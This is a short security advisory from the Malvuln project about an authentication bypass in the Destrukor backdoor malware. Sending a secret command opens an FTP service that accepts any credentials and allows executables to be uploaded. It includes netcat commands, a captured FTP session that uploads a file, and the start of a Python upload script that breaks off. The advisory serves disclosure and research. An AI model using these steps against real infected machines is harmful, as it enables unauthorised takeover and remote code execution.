Backdoor.Win32.Destrukor.20 malware suffers from authentication bypass and code execution vulnerabilities.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956.txt
Contact: [email protected]
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 6969. However, after sending a specific cmd "rozmiar" the backdoor returns "moznasciagac" in Polish "you can download" and port 21 opens. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Dropped files: sys32.exe
Vuln ID: MVID-2022-0626
C:>nc64.exe 192.168.18.125 6969
C:>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
257 'C:HATE': directory created.
227 Entering Passive Mode (192,168,18,125,232,131).
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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